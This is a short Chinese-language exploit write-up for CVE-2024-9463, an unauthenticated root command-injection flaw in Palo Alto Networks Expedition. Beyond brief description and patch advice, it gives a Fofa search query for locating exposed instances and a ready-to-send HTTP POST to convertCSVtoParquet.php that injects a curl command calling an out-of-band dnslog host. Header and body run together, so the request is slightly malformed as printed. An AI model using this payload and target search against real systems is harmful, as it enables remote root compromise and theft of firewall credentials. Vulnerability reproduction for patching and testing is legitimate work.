Palo Alto Networks Expedition 远程命令执行漏洞复现(CVE-2024-9463)

0x01 产品描述：

        Palo Alto Networks Expedition 是一款强大的工具，帮助用户有效地迁移和优化网络安全策略，提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。

0x02 漏洞描述：

        攻击者可通过简单的漏洞利用读取数据库内容和任意文件，甚至执行系统命令。该漏洞允许未经身份验证的攻击者以root身份执行命令，暴露PAN-OS防火墙的用户名、密码等敏感信息。

0x03 影响版本：

Palo Alto Networks Expedition < 1.2.96

0x04 搜索语句：

Fofa:title="Expedition Project"

0x05 漏洞复现：

POST /API/convertCSVtoParquet.php HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencodedram=watchTowr`curl+http://123.ziwh8b.dnslog.cn`

 

 

0x06 修复建议：

厂商已发布补丁 请即时升级

Expedition | Palo Alto Networks